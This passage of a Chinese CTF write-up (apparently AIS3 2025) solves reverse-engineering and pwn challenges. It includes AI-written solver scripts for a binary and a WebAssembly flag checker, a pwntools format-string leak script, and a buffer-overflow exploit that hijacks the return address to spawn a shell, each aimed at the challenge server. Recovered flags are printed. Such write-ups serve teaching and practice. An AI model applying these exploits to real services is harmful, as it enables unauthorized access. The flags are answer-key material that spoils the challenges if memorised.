    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}

然後就叫Gemini寫個code算出flag:

import struct


def calculate_target_string_bytes():
    v8_ints = [
        1480073267, 1197221906, 254628393, 920154, 1343445007,
        874076697, 1127428440, 1510228243, 743978009, 54940467,
        1246382110
    ]


    v8_buffer = bytearray(45)


    current_offset = 0
    for val in v8_ints:
        packed_bytes = struct.pack('<i', val)
        for i in range(len(packed_bytes)):
            if current_offset < 44: # 只填滿由 v8_ints 提供的 44 bytes
                v8_buffer[current_offset] = packed_bytes[i]
                current_offset += 1
            else:
                break
    key_v7 = b"rikki_l0v3"
    c_v1 = 0
    c_v2 = 51
    c_v3 = 114


    while True:
        xor_result = (c_v2 ^ c_v3) & 0xFF
        v8_buffer[c_v1] = xor_result
        c_v1 += 1


        # if ( v1 == 45 ) break;
        if c_v1 == 45:
            break


        # v2 = *((_BYTE *)v8 + v1);
        c_v2 = v8_buffer[c_v1]


        # v3 = v7[v1 % 0xA];
        c_v3 = key_v7[c_v1 % 10] # 10 是 0xA


    return bytes(v8_buffer)


if __name__ == "__main__":
    target_bytes = calculate_target_string_bytes()


    print(f"計算出的目標位元組序列 (長度: {len(target_bytes)} bytes):")
    print(f"  Hex: {target_bytes.hex()}")
    print(f"  Bytes literal: {target_bytes}")


    try:
        decoded_string = target_bytes.decode('utf-8')
        print(f"  UTF-8 解碼: \"{decoded_string}\"")
    except UnicodeDecodeError:
        try:
            decoded_string = target_bytes.decode('latin-1')
            print(f"  Latin-1 解碼: \"{decoded_string}\"")
        except UnicodeDecodeError:
            print("  無法使用 UTF-8 或 Latin-1 解碼為可讀字串。")

Flag{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

web flag checker#

題目是一個網站, 裡面有一個輸入框和submit按鈕可以送flag, 並檢查flag有沒有錯

透過check source可以看到裡面有個js檔案, 看得出來應該有用什麼WebAssembly之類的東西

開network看 還有匯入個index.wasm檔案: CleanShot 2025-05-31 at 16.18.03@2x

使用wasm-decompile就可以反編譯, 直接找到關鍵點:

export function flagchecker(a:int):int { // func9
  var b:int = g_a;
  var c:int = 96;
  var d:int = b - c;
  g_a = d;
  d[22]:int = a;
  var e:int = -39934163;
  d[21]:int = e;
  var f:int = 64;
  var g:long_ptr = d + f;
  var h:long = 0L;
  g[0] = h;
  var i:int = 56;
  var j:long_ptr = d + i;
  j[0] = h;
  var k:int = 48;
  var l:long_ptr = d + k;
  l[0] = h;
  d[5]:long = h;
  d[4]:long = h;
  var m:long = 7577352992956835434L;
  d[4]:long = m;
  var n:long = 7148661717033493303L;
  d[5]:long = n;
  var o:long = -7081446828746089091L;
  d[6]:long = o;
  var p:long = -7479441386887439825L;
  d[7]:long = p;
  var q:long = 8046961146294847270L;
  d[8]:long = q;
  var r:int = d[22]:int;
  var s:int = 0;
  var t:int = r != s;
  var u:int = 1;
  var v:int = t & u;
  if (eqz(v)) goto B_c;
  var w:int = d[22]:int;
  var x:int = f_n(w);
  var y:int = 40;
  var z:int = x != y;
  var aa:int = 1;
  var ba:int = z & aa;
  if (eqz(ba)) goto B_b;
  label B_c:
  var ca:int = 0;
  d[23]:int = ca;
  goto B_a;
  label B_b:
  var da:int = d[22]:int;
  d[7]:int = da;
  var ea:int = 0;
  d[6]:int = ea;
  loop L_e {
    var fa:int = d[6]:int;
    var ga:int = 5;
    var ha:int = fa < ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (eqz(ja)) goto B_d;
    var ka:int = d[7]:int;
    var la:int = d[6]:int;
    var ma:int = 3;
    var na:int = la << ma;
    var oa:long_ptr = ka + na;
    var pa:long = oa[0];
    d[2]:long = pa;
    var qa:int = d[6]:int;
    var ra:int = 6;
    var sa:int = qa * ra;
    var ta:int = -39934163;
    var ua:int = ta >> sa;
    var va:int = 63;
    var wa:int = ua & va;
    d[3]:int = wa;
    var xa:long = d[2]:long;
    var ya:int = d[3]:int;
    var za:long = f_i(xa, ya);
    var ab:int = d[6]:int;
    var bb:int = 32;
    var cb:int = d + bb;
    var db:int = cb;
    var eb:int = 3;
    var fb:int = ab << eb;
    var gb:long_ptr = db + fb;
    var hb:long = gb[0];
    var ib:int = za != hb;
    var jb:int = 1;
    var kb:int = ib & jb;
    if (eqz(kb)) goto B_f;
    var lb:int = 0;
    d[23]:int = lb;
    goto B_a;
    label B_f:
    var mb:int = d[6]:int;
    var nb:int = 1;
    var ob:int = mb + nb;
    d[6]:int = ob;
    continue L_e;
  }
  label B_d:
  var pb:int = 1;
  d[23]:int = pb;
  label B_a:
  var qb:int = d[23]:int;
  var rb:int = 96;
  var sb:int = d + rb;
  g_a = sb;
  return qb;
}

同樣丟給AI解XD

from struct import pack, unpack


def rol64(val, r):
    return ((val << r) & ((1 << 64) - 1)) | (val >> (64 - r))


# 目標常數 (以無號 64-bit 表示)
consts = [
    0x6a66ef8a662a2869,
    0x372337d7f4253563,
    0x7dddc5dca0a5b99d,
    0x2f1a38b8afaf3398,
    0x26474626878cac6f
]


shifts = [45, 28, 42, 39, 61]


parts = [rol64(c, 64 - r) for c, r in zip(consts, shifts)]
flag_bytes = b''.join(pack('<Q', p) for p in parts)
print(flag_bytes.decode())

Flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

Pwn#

Format Number#

chal:

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <string.h>




void check_format(char *format) {
    for (int i = 0; format[i] != '\0'; i++) {
        char c = format[i];
        if (c == '\n') {
            format[i] = '\0';
            return;
        }
        if (!isdigit(c) && !ispunct(c)) {
            printf("Error format !\n");
            exit(1);
        }
    }
}


int main() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);


    srand(time(NULL));
    int number = rand();
    int fd = open("/home/chal/flag.txt", O_RDONLY);
    char flag[0x100] = {0};
    read(fd, flag, 0xff);
    close(fd);


    char format[0x10] = {0};
    printf("What format do you want ? ");
    read(0, format, 0xf);
    check_format(format);


    char buffer[0x20] = {0};
    strcpy(buffer, "Format number : %3$");
    strcat(buffer, format);
    strcat(buffer, "d\n");
    printf(buffer, "Welcome", "~~~", number);


    return 0;
}

英文字母用不了, 但printf格式時會自動加上d, 就能用%k$d的方式讀stack的資料

然後要用_來串接, 不然會被視為同一個conversion

exploit:

from pwn import *
import re


flag = ""
for i in range(0, 60):
    p = remote("chals1.ais3.org", 50960)
    p.recvuntil(b"What format do you want ? ")
    p.sendline(f"_%{i}$".encode())
    resp = p.recvall().decode()
    log.info(resp)
    p.close()


    match = re.search(r"Format number : %_(-?\d+)\n", resp)
    if match:
        val = int(match.group(1))
        if 0 <= val <= 255:
            flag += chr(val)
            log.info(flag)
            if chr(val) == '}':
                break

Flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

Welcome to the World of Ave Mujica🌙#

chal:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[143]; // [rsp+0h] [rbp-A0h] BYREF
  char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
  unsigned __int8 int8; // [rsp+97h] [rbp-9h]
  char *v7; // [rsp+98h] [rbp-8h]


  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  printf("\x1B[2J\x1B[1;1H");
  printf("\x1B[31m");
  printf("%s", (const char *)banner);
  puts(&byte_402A78);
  puts(&byte_402AB8);
  fgets(s, 8, stdin);
  v7 = strchr(s, 10);
  if ( v7 )
    *v7 = 0;
  if ( strcmp(s, "yes") )
  {
    puts(&byte_402AE8);
    exit(1);
  }
  printf(&byte_402B20);
  int8 = read_int8();
  printf(&byte_402B41);
  read(0, buf, int8);
  return 0;
}


int Welcome_to_the_world_of_Ave_Mujica()
{
  puts(&s);
  puts(&byte_402990);
  puts(&byte_4029B4);
  puts(&byte_4029C3);
  puts(&byte_4029D2);
  puts(&byte_4029E1);
  puts(&byte_4029FC);
  puts(&byte_402A15);
  return execve("/bin/sh", 0, 0);
}


__int64 read_int8()
{
  char buf[4]; // [rsp+8h] [rbp-8h] BYREF
  int v2; // [rsp+Ch] [rbp-4h]


  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 > 127 )
  {
    puts(&byte_402A38);
    exit(1);
  }
  return (unsigned int)v2;
}

前面read_int8()輸入-1，讓他變255，這樣就可以讓輸入長度大於buf大小造成buffer overflow

padding長度就算buf的位置([rbp-A0h])再加上saved rbp

return address算Welcome_to_the_world_of_Ave_Mujica的address再跳過endbr64

image

exploit:

from pwn import *
r = remote('chals1.ais3.org', 60179)
r.sendlineafter(b'?',b'yes')
r.sendlineafter(b':',b'-1')
r.sendline(b"a"*0xa8 + p64(0x40125a))
r.interactive()

Flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_b69760dea2dd3acca3b233b295dc7892}

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BTLO - Reverse enginnering - Injection's writeup
OWASP MAS CrackMe writeup
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